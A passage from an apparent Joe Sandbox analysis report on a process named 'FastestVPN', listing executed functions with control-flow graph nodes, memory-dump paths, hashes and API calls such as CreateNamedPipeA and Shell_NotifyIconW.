59d339e 72430->72431 72433 59d3598 72432->72433 72434 59d2634 Shell_NotifyIconW 72433->72434 72435 59d35b8 72434->72435 72436 59d35d9 72435->72436 72437 59d3350 Shell_NotifyIconW 72435->72437 72438 59d35f8 72436->72438 72439 59d3350 Shell_NotifyIconW 72436->72439 72437->72436 72438->72422 72439->72438 72441 59d2634 Shell_NotifyIconW 72440->72441 72442 59d35b8 72441->72442 72443 59d35d9 72442->72443 72444 59d3350 Shell_NotifyIconW 72442->72444 72445 59d35f8 72443->72445 72446 59d3350 Shell_NotifyIconW 72443->72446 72444->72443 72445->72422 72446->72445 72304 24123ce 72305 24123cf 72304->72305 72306 24124b1 72305->72306 72309 2412a28 72305->72309 72312 2412a1a 72305->72312 72316 2411fd8 72309->72316 72313 2412a28 72312->72313 72314 2411fd8 ConnectNamedPipe 72313->72314 72315 2412a35 72314->72315 72315->72305 72317 2412ae8 ConnectNamedPipe 72316->72317 72319 2412b88 72317->72319

                                                                                                                      Executed Functions

                                                                                                                      Function 0B519C98 Relevance: 1.7, Strings: 1, Instructions: 422COMMON
                                                                                                                      Download Yara Rule

                                                                                                                      Control-flow Graph

                                                                                                                      • Executed
                                                                                                                      • Not Executed
                                                                                                                      control_flow_graph 968 b519c98-b519cc1 969 b519cc3 968->969 970 b519cc6-b519cdf 968->970 969->970 971 b519ce7-b519cf6 970->971 973 b519d53-b519d62 971->973 974 b519cf8-b519d07 971->974 979 b519d64-b519d79 973->979 980 b519d7b-b519d8e 973->980 977 b519d09-b519d19 974->977 978 b519d3c-b519d51 974->978 977->978 981 b519d1b-b519d3a 977->981 985 b519d90-b519dce 978->985 979->985 980->985 981->973 981->978 989 b519dd0-b519dd8 985->989 990 b519dda-b519de0 985->990 991 b519de3-b519de5 989->991 990->991 992 b519de7-b519dec 991->992 993 b519dee-b519e13 991->993 994 b519e2a-b519e2c 992->994 1010 b519e15-b519e25 993->1010 1011 b519e27 993->1011 995 b519e74-b519e7b 994->995 996 b519e2e-b519e32 994->996 998 b519e81-b519e8b 995->998 999 b51a0f3-b51a124 995->999 996->995 1000 b519e34-b519e5d 996->1000 1006 b519f01-b519f08 998->1006 1007 b519e8d-b519e91 998->1007 1018 b51a130-b51a137 999->1018 1019 b51a126-b51a128 999->1019 1008 b519e69-b519e6f 1000->1008 1009 b519e5f-b519e61 1000->1009 1014 b519f96-b519f9f 1006->1014 1015 b519f0e-b519f20 1006->1015 1012 b519e93-b519eaa 1007->1012 1013 b519eaf-b519efc 1007->1013 1017 b51a1b3-b51a1ba 1008->1017 1009->1008 1010->994 1011->994 1012->1017 1013->999 1020 b519fa1-b519fa7 1014->1020 1021 b519faa-b519ff0 1014->1021 1015->1014 1029 b519f22-b519f26 1015->1029 1026 b51a139-b51a13d 1018->1026 1027 b51a13f-b51a145 1018->1027 1019->1018 1020->1021 1021->999 1063 b519ff6-b519ffa 1021->1063 1030 b51a14f-b51a153 1026->1030 1027->1030 1031 b51a147-b51a149 1027->1031 1035 b519f44-b519f91 1029->1035 1036 b519f28-b519f3f 1029->1036 1032 b51a155-b51a15e 1030->1032 1033 b51a178-b51a182 1030->1033 1031->1030 1038 b51a14b 1031->1038 1039 b51a160-b51a166 1032->1039 1040 b51a168-b51a16f 1032->1040 1048 b51a1a4-b51a1a8 1033->1048 1049 b51a184-b51a19b 1033->1049 1035->999 1036->1017 1038->1030 1043 b51a172 1039->1043 1040->1043 1043->1033 1050 b51a1b1 1048->1050 1051 b51a1aa 1048->1051 1049->1048 1064 b51a19d 1049->1064 1050->1017 1051->1050 1065 b51a018-b51a01b 1063->1065 1066 b519ffc-b51a013 1063->1066 1064->1048 1067 b51a021-b51a0a4 1065->1067 1068 b51a0a6-b51a0e8 1065->1068 1066->1017 1067->999 1068->999
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID: @
                                                                                                                      • API String ID: 0-2766056989
                                                                                                                      • Opcode ID: ef36c3b592e868bdf0ce2932565c17dc07d4dc9b14e61bee80dfcb2a75d24fd7
                                                                                                                      • Instruction ID: bd6c63e7de8398d9a3a0cd0d33d7018a273b7c532332d9612b0c378a65cca0cd
                                                                                                                      • Opcode Fuzzy Hash: ef36c3b592e868bdf0ce2932565c17dc07d4dc9b14e61bee80dfcb2a75d24fd7
                                                                                                                      • Instruction Fuzzy Hash: 83026F30A01208DFEB15EF65D494AAE7BB6FF88301F1484ADE5169B391DB35DD42CB90
                                                                                                                      Function 024127C8 Relevance: 1.6, APIs: 1, Instructions: 121pipeCOMMON
                                                                                                                      Download Yara Rule

                                                                                                                      Control-flow Graph

                                                                                                                      • Executed
                                                                                                                      • Not Executed
                                                                                                                      control_flow_graph 1256 24127c8-2412827 1257 2412829-241284e 1256->1257 1258 241287b-24128a1 1256->1258 1257->1258 1261 2412850-2412852 1257->1261 1262 24128a3 1258->1262 1263 24128a6-2412909 CreateNamedPipeA 1258->1263 1264 2412875-2412878 1261->1264 1265 2412854-241285e 1261->1265 1262->1263 1269 2412912-2412950 1263->1269 1270 241290b-2412911 1263->1270 1264->1258 1266 2412860 1265->1266 1267 2412862-2412871 1265->1267 1266->1267 1267->1267 1271 2412873 1267->1271 1275 2412960 1269->1275 1276 2412952-2412956 1269->1276 1270->1269 1271->1264 1279 2412961 1275->1279 1276->1275 1277 2412958-241295b call 24119d0 1276->1277 1277->1275 1279->1279
                                                                                                                      APIs
                                                                                                                      • CreateNamedPipeA.KERNEL32(?,?,?,?,?,?,?,?), ref: 024128F9
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2723553143.0000000002410000.00000040.00000800.00020000.00000000.sdmp, Offset: 02410000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_2410000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: CreateNamedPipe
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 2489174969-0
                                                                                                                      • Opcode ID: 7b4f62c6750f8ca1ed662743758d477a95eec100efdaf43e091acaf87e837c97
                                                                                                                      • Instruction ID: 2defc450de3bf36ccb11fbcd647a60c9939203910770b8077db98d4b0c563996
                                                                                                                      • Opcode Fuzzy Hash: 7b4f62c6750f8ca1ed662743758d477a95eec100efdaf43e091acaf87e837c97
                                                                                                                      • Instruction Fuzzy Hash: 615104B1D003599FDB10CFAAC984B9EBBF5BB48714F14812AE818EB391D7B59841CF91
                                                                                                                      Function 0B4BB9F8 Relevance: 1.2, Instructions: 1241COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 7f5263ddb849ddaae5e183ffc7071d5595be0f077e1cb86bcd4947c92bcb4f26
                                                                                                                      • Instruction ID: 7d737818c24d345d5fd79a3c51cf5c627e1e23858c6b959d596b87d6f5ceaf2f
                                                                                                                      • Opcode Fuzzy Hash: 7f5263ddb849ddaae5e183ffc7071d5595be0f077e1cb86bcd4947c92bcb4f26
                                                                                                                      • Instruction Fuzzy Hash: C3B20974B00214CFDB64DF29C894E6AB7F2FF88610B1585AAD54ADB362DB30ED81CB51
                                                                                                                      Function 0B4B85D1 Relevance: .6, Instructions: 642COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: b0b8515fdf8bb9a5fc672e2f43600955c4dbf9ca2a3b5e079963f8fa40a9a7dc
                                                                                                                      • Instruction ID: e9a6a79cc826b2600518815865aa33230e71d2b256abca58fa2d0292ece824bb
                                                                                                                      • Opcode Fuzzy Hash: b0b8515fdf8bb9a5fc672e2f43600955c4dbf9ca2a3b5e079963f8fa40a9a7dc
                                                                                                                      • Instruction Fuzzy Hash: 9B424870A002448FDB15DF68D594AAEBBF6BF89301F1484AAD51ADB391DB34ED41CB60
                                                                                                                      Function 0B4B3570 Relevance: .6, Instructions: 629COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 4aa72bf266281f3521563960f185481cb48a959499b0840c3bc40fadaf2703f8
                                                                                                                      • Instruction ID: b056c42581083e9112d4db0bb56cb9a3052b446697233e9a0ed526ef8a8944e4
                                                                                                                      • Opcode Fuzzy Hash: 4aa72bf266281f3521563960f185481cb48a959499b0840c3bc40fadaf2703f8
                                                                                                                      • Instruction Fuzzy Hash: 5C424B30A00600CFDB24CF2AD548AAABBF6FF85705F54846ED656CB750CB35EA85CB64
                                                                                                                      Function 0B519360 Relevance: .6, Instructions: 619COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: c3b40ccd6a56cd60a3ccbd96f191f5d71a56d2a25f22c9d656d222a5ce1d2312
                                                                                                                      • Instruction ID: 73f430c7780aa53cb780dc06bdee8edef2ced18bd22fc840a853d073da419508
                                                                                                                      • Opcode Fuzzy Hash: c3b40ccd6a56cd60a3ccbd96f191f5d71a56d2a25f22c9d656d222a5ce1d2312
                                                                                                                      • Instruction Fuzzy Hash: 37324D34B002058FEB15DF69C594A6EBBF2BF88700F1584A9E546DB3A2DB35ED42CB50
                                                                                                                      Function 0B4B7E70 Relevance: .5, Instructions: 458COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 583d108382357a6d25a03e404f11a875c78780027c6ca00b7ab5bccb9df8456b
                                                                                                                      • Instruction ID: a37ebb05be016527b94650090a32a31a0fe80a712a2681693489e574a4dc23ad
                                                                                                                      • Opcode Fuzzy Hash: 583d108382357a6d25a03e404f11a875c78780027c6ca00b7ab5bccb9df8456b
                                                                                                                      • Instruction Fuzzy Hash: 4D122874A002458FDB15DF68C584EAEBBF2FF89300B19859AE549DB362DB34ED41CB60
                                                                                                                      Function 0B4B5CF8 Relevance: .4, Instructions: 409COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 8cb26211b3f8f60428912487668334095be0ef070dbd7aed90adf9eb5906bb2d
                                                                                                                      • Instruction ID: af81a6fa69c998289f99addcd9ed20dae631a50fe05f66cddbc1b90f9d9366a3
                                                                                                                      • Opcode Fuzzy Hash: 8cb26211b3f8f60428912487668334095be0ef070dbd7aed90adf9eb5906bb2d
                                                                                                                      • Instruction Fuzzy Hash: 55026830A007049FDB25CF69C594EAAFBF2BF48300F15856AE95ACB761D734EA42CB50
                                                                                                                      Function 0B4B1410 Relevance: .4, Instructions: 401COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 22f6c9ad699049f25c26fabe6f978f4e9c3f89e06f32f64997c8deb67faf12f2
                                                                                                                      • Instruction ID: bd36eacd1ab10b4bca29a144765c05ebd69e44e74a53a7e7b6cf8c9d632754e3
                                                                                                                      • Opcode Fuzzy Hash: 22f6c9ad699049f25c26fabe6f978f4e9c3f89e06f32f64997c8deb67faf12f2
                                                                                                                      • Instruction Fuzzy Hash: 19F12E70E00248DFDB18DFA8D454AAEBBF2FF88300F148569D516AB355DB35EA46CB50
                                                                                                                      Function 0B480040 Relevance: 9.3, Strings: 5, Instructions: 3077COMMON
                                                                                                                      Download Yara Rule

                                                                                                                      Control-flow Graph

                                                                                                                      • Executed
                                                                                                                      • Not Executed
                                                                                                                      control_flow_graph 0 b480040-b48354f 696 b483599-b4835a0 0->696 697 b483551-b483568 696->697 698 b4835a2-b4835a7 696->698 699 b4835a8-b4835da 697->699 700 b48356a-b483596 697->700 700->696
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID: (:.t$09.t$H;.t$Ld.t$:.t
                                                                                                                      • API String ID: 0-110458475
                                                                                                                      • Opcode ID: 3839877eab766e6c9153ef1337f7c1819cfe5cfa5f0f84e11796f230b06737a5
                                                                                                                      • Instruction ID: 9e69e424484c7db436296dfd9387a0e024a8df0c1f971dcdf17c023f5c819727
                                                                                                                      • Opcode Fuzzy Hash: 3839877eab766e6c9153ef1337f7c1819cfe5cfa5f0f84e11796f230b06737a5
                                                                                                                      • Instruction Fuzzy Hash: 8F532D30A00218AFEB25AB94DC50BEDBBB6FF8D700F5040D9E64A6B290CF715E859F55
                                                                                                                      Function 0B51D919 Relevance: 3.9, Strings: 3, Instructions: 107COMMON
                                                                                                                      Download Yara Rule

                                                                                                                      Control-flow Graph

                                                                                                                      • Executed
                                                                                                                      • Not Executed
                                                                                                                      control_flow_graph 705 b51d919-b51d920 706 b51d982-b51d9ca 705->706 707 b51d922-b51d962 705->707 708 b51d9d0-b51d9d7 706->708 709 b51d9cc-b51d9ce 706->709 723 b51d96c-b51d96e 707->723 710 b51d9d9-b51d9f1 708->710 709->710 715 b51d9f3-b51da36 710->715 716 b51da3f-b51da62 710->716 715->716 728 b51d970 call b51da69 723->728 729 b51d970 call b51da78 723->729 730 b51d970 call b51dacb 723->730 725 b51d976 727 b51d97e-b51d981 725->727 728->725 729->725 730->725
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID: L[Z$|RZ$|dZ
                                                                                                                      • API String ID: 0-4223411891
                                                                                                                      • Opcode ID: 77d60cf522d215ccf6fc5a5caed3ac25253f0dbe4abbf4ed4aafbe8a800d79c8
                                                                                                                      • Instruction ID: ec0ffd36b50729335be84cb7a859aa30980991f2250d1ef7fa872f801ccecaa1
                                                                                                                      • Opcode Fuzzy Hash: 77d60cf522d215ccf6fc5a5caed3ac25253f0dbe4abbf4ed4aafbe8a800d79c8
                                                                                                                      • Instruction Fuzzy Hash: AD31D331A052989FEB06DBB4D8506AEBFF7AFCE600F1484EAD041E7282CA305C05C761
                                                                                                                      Function 0B51D928 Relevance: 2.5, Strings: 2, Instructions: 30COMMON
                                                                                                                      Download Yara Rule

                                                                                                                      Control-flow Graph

                                                                                                                      • Executed
                                                                                                                      • Not Executed
                                                                                                                      control_flow_graph 812 b51d928-b51d96e 820 b51d970 call b51da69 812->820 821 b51d970 call b51da78 812->821 822 b51d970 call b51dacb 812->822 818 b51d976 819 b51d97e-b51d981 818->819 820->818 821->818 822->818
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID: L[Z$|dZ
                                                                                                                      • API String ID: 0-170538862
                                                                                                                      • Opcode ID: 1a56c5987371ed2328953bfd017ab2382620c4603376cccf8d9082d44e581823
                                                                                                                      • Instruction ID: b80a2a93f36b8e644fd6f13736b0f41358828c81b7c42ec3553b58fc7ef9105b
                                                                                                                      • Opcode Fuzzy Hash: 1a56c5987371ed2328953bfd017ab2382620c4603376cccf8d9082d44e581823
                                                                                                                      • Instruction Fuzzy Hash: ABE092213002249FD618A26D681872FBADFFFCCA12B15406A910BC7381DF75DC0253E6
                                                                                                                      Function 0B48A110 Relevance: 1.7, Strings: 1, Instructions: 419COMMON
                                                                                                                      Download Yara Rule

                                                                                                                      Control-flow Graph

                                                                                                                      • Executed
                                                                                                                      • Not Executed
                                                                                                                      control_flow_graph 1089 b48a110-b48a155 1093 b48a1b8-b48a1ba 1089->1093 1094 b48a157-b48a16f 1089->1094 1095 b48a1cc 1093->1095 1096 b48a1bc-b48a1ca 1093->1096 1101 b48a1b0-b48a1b3 1094->1101 1102 b48a171-b48a187 1094->1102 1097 b48a1ce-b48a1d0 1095->1097 1096->1097 1099 b48a1d2-b48a1ea 1097->1099 1100 b48a233-b48a235 1097->1100 1111 b48a22b-b48a22e 1099->1111 1112 b48a1ec-b48a202 1099->1112 1104 b48a247 1100->1104 1105 b48a237-b48a245 1100->1105 1103 b48a52e-b48a53c 1101->1103 1113 b48a189 1102->1113 1114 b48a190-b48a1ae 1102->1114 1118 b48a53e 1103->1118 1119 b48a545-b48a571 1103->1119 1108 b48a249-b48a24b 1104->1108 1105->1108 1109 b48a24d-b48a265 1108->1109 1110 b48a2ae-b48a2b0 1108->1110 1126 b48a2a6-b48a2a9 1109->1126 1127 b48a267-b48a27d 1109->1127 1116 b48a2c2 1110->1116 1117 b48a2b2-b48a2c0 1110->1117 1111->1103 1129 b48a20b-b48a229 1112->1129 1130 b48a204 1112->1130 1113->1114 1114->1101 1120 b48a2c4-b48a2c6 1116->1120 1117->1120 1118->1119 1152 b48a5f7-b48a60a 1119->1152 1153 b48a577-b48a595 1119->1153 1124 b48a2c8-b48a2e0 1120->1124 1125 b48a329-b48a32b 1120->1125 1141 b48a321-b48a324 1124->1141 1142 b48a2e2-b48a2f8 1124->1142 1131 b48a33d 1125->1131 1132 b48a32d-b48a33b 1125->1132 1126->1103 1143 b48a27f 1127->1143 1144 b48a286-b48a2a4 1127->1144 1129->1111 1130->1129 1134 b48a33f-b48a341 1131->1134 1132->1134 1139 b48a343-b48a35b 1134->1139 1140 b48a3a4-b48a3a6 1134->1140 1157 b48a39c-b48a39f 1139->1157 1158 b48a35d-b48a373 1139->1158 1145 b48a3b8 1140->1145 1146 b48a3a8-b48a3b6 1140->1146 1141->1103 1159 b48a2fa 1142->1159 1160 b48a301-b48a31f 1142->1160 1143->1144 1144->1126 1149 b48a3ba-b48a3bc 1145->1149 1146->1149 1155 b48a3be-b48a3d6 1149->1155 1156 b48a41f-b48a421 1149->1156 1161 b48a611-b48a615 1152->1161 1182 b48a60c 1153->1182 1183 b48a597-b48a5d2 1153->1183 1175 b48a3d8-b48a3ee 1155->1175 1176 b48a417-b48a41a 1155->1176 1164 b48a433 1156->1164 1165 b48a423-b48a431 1156->1165 1157->1103 1177 b48a37c-b48a39a 1158->1177 1178 b48a375 1158->1178 1159->1160 1160->1141 1162 b48a620 1161->1162 1163 b48a617 1161->1163 1172 b48a640-b48a6b8 1162->1172 1163->1162 1168 b48a435-b48a437 1164->1168 1165->1168 1173 b48a439-b48a451 1168->1173 1174 b48a49a-b48a49c 1168->1174 1192 b48a492-b48a495 1173->1192 1193 b48a453-b48a469 1173->1193 1180 b48a4ae 1174->1180 1181 b48a49e-b48a4ac 1174->1181 1194 b48a3f0 1175->1194 1195 b48a3f7-b48a415 1175->1195 1176->1103 1177->1157 1178->1177 1186 b48a4b0-b48a4b2 1180->1186 1181->1186 1182->1161 1229 b48a5d5 call b48a748 1183->1229 1230 b48a5d5 call b48a758 1183->1230 1190 b48a4d2-b48a4ea 1186->1190 1191 b48a4b4-b48a4b6 1186->1191 1206 b48a52b 1190->1206 1207 b48a4ec-b48a502 1190->1207 1199 b48a4c8 1191->1199 1200 b48a4b8-b48a4c6 1191->1200 1192->1103 1209 b48a46b 1193->1209 1210 b48a472-b48a490 1193->1210 1194->1195 1195->1176 1204 b48a4ca-b48a4cc 1199->1204 1200->1204 1204->1172 1204->1190 1206->1103 1216 b48a50b-b48a529 1207->1216 1217 b48a504 1207->1217 1209->1210 1210->1192 1216->1206 1217->1216 1218 b48a5d7-b48a5f5 1218->1152 1218->1153 1229->1218 1230->1218
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 0-65463447
                                                                                                                      • Opcode ID: faf5502c6e21d2b987ca3ede1177d8d1133376d878fa746f7b1bce97bc6884b8
                                                                                                                      • Instruction ID: 150ca5af86d2828645445980e21e870a9b3e7a2bc3d783e8c635ba743cfcb35e
                                                                                                                      • Opcode Fuzzy Hash: faf5502c6e21d2b987ca3ede1177d8d1133376d878fa746f7b1bce97bc6884b8
                                                                                                                      • Instruction Fuzzy Hash: A9F16070B047068BCF25EB68D550A9EB7E3EFC4A40B10852BD816EB354EF79DD068B91
                                                                                                                      Function 024127BD Relevance: 1.6, APIs: 1, Instructions: 124pipeCOMMON
                                                                                                                      Download Yara Rule

                                                                                                                      Control-flow Graph

                                                                                                                      • Executed
                                                                                                                      • Not Executed
                                                                                                                      control_flow_graph 1231 24127bd-2412827 1233 2412829-241284e 1231->1233 1234 241287b-24128a1 1231->1234 1233->1234 1237 2412850-2412852 1233->1237 1238 24128a3 1234->1238 1239 24128a6-2412909 CreateNamedPipeA 1234->1239 1240 2412875-2412878 1237->1240 1241 2412854-241285e 1237->1241 1238->1239 1245 2412912-2412950 1239->1245 1246 241290b-2412911 1239->1246 1240->1234 1242 2412860 1241->1242 1243 2412862-2412871 1241->1243 1242->1243 1243->1243 1247 2412873 1243->1247 1251 2412960 1245->1251 1252 2412952-2412956 1245->1252 1246->1245 1247->1240 1255 2412961 1251->1255 1252->1251 1253 2412958-241295b call 24119d0 1252->1253 1253->1251 1255->1255
                                                                                                                      APIs
                                                                                                                      • CreateNamedPipeA.KERNEL32(?,?,?,?,?,?,?,?), ref: 024128F9
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2723553143.0000000002410000.00000040.00000800.00020000.00000000.sdmp, Offset: 02410000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_2410000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: CreateNamedPipe
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 2489174969-0
                                                                                                                      • Opcode ID: e1e743be9ec74da0a40152bbbf4c8a3321ff3f09e67b90e2b51bb81665c9e522
                                                                                                                      • Instruction ID: e42e26e594c132a928c0ed8f943facb53ac4cb9489f5aa85deeb86720f3d6d22
                                                                                                                      • Opcode Fuzzy Hash: e1e743be9ec74da0a40152bbbf4c8a3321ff3f09e67b90e2b51bb81665c9e522
                                                                                                                      • Instruction Fuzzy Hash: 0F5104B1D003599FDB10CFAAC984B9EBBF1BB48714F14812AE818EB391D7B59941CF91
                                                                                                                      Function 059D33DD Relevance: 1.6, APIs: 1, Instructions: 105windowCOMMON
                                                                                                                      Download Yara Rule

                                                                                                                      Control-flow Graph

                                                                                                                      • Executed
                                                                                                                      • Not Executed
                                                                                                                      control_flow_graph 1280 59d33dd-59d3494 1283 59d349c-59d34ed Shell_NotifyIconW 1280->1283 1284 59d34ef-59d34f5 1283->1284 1285 59d34f6-59d3538 1283->1285 1284->1285 1288 59d354a-59d3551 1285->1288 1289 59d353a-59d3540 1285->1289 1290 59d3568 1288->1290 1291 59d3553-59d3562 1288->1291 1289->1288 1293 59d3569 1290->1293 1291->1290 1293->1293
                                                                                                                      APIs
                                                                                                                      • Shell_NotifyIconW.SHELL32(?,-00000428), ref: 059D34DA
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2747632433.00000000059D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 059D0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_59d0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: IconNotifyShell_
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 1144537725-0
                                                                                                                      • Opcode ID: 20b2548eec265eaf11456ed7cb088bfb0f780b3f37a20b9323402631361ef594
                                                                                                                      • Instruction ID: 920d516f12f42f3ce137cd2d98f9a84ba19cae4f4cb961ead4026cce2685e075
                                                                                                                      • Opcode Fuzzy Hash: 20b2548eec265eaf11456ed7cb088bfb0f780b3f37a20b9323402631361ef594
                                                                                                                      • Instruction Fuzzy Hash: 174105B0D053588FDB20CF6AC9847DDFBF4AB49205F9084EAD60CA7252D7745A88CF69
                                                                                                                      Function 059D2634 Relevance: 1.6, APIs: 1, Instructions: 100windowCOMMON
                                                                                                                      Download Yara Rule

                                                                                                                      Control-flow Graph

                                                                                                                      • Executed
                                                                                                                      • Not Executed
                                                                                                                      control_flow_graph 1294 59d2634-59d34ed Shell_NotifyIconW 1298 59d34ef-59d34f5 1294->1298 1299 59d34f6-59d3538 1294->1299 1298->1299 1302 59d354a-59d3551 1299->1302 1303 59d353a-59d3540 1299->1303 1304 59d3568 1302->1304 1305 59d3553-59d3562 1302->1305 1303->1302 1307 59d3569 1304->1307 1305->1304 1307->1307
                                                                                                                      APIs
                                                                                                                      • Shell_NotifyIconW.SHELL32(?,-00000428), ref: 059D34DA
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2747632433.00000000059D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 059D0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_59d0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: IconNotifyShell_
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 1144537725-0
                                                                                                                      • Opcode ID: be182f130c197c58203d618cf78db2eb37f2f9bc7d7c17c7c9620cae00ba4339
                                                                                                                      • Instruction ID: b9023b82c8a68a5bedff14f657eee48a87c66c73131608bf3f597380bd3d83d3
                                                                                                                      • Opcode Fuzzy Hash: be182f130c197c58203d618cf78db2eb37f2f9bc7d7c17c7c9620cae00ba4339
                                                                                                                      • Instruction Fuzzy Hash: D141E6B0D012188FDB64CF5AC9847DDFBF8AB48315F9084E9D60CA7251D7745A88CF69
                                                                                                                      Function 0B6E01EC Relevance: 1.6, APIs: 1, Instructions: 93libraryCOMMON
                                                                                                                      Download Yara Rule

                                                                                                                      Control-flow Graph

                                                                                                                      • Executed
                                                                                                                      • Not Executed
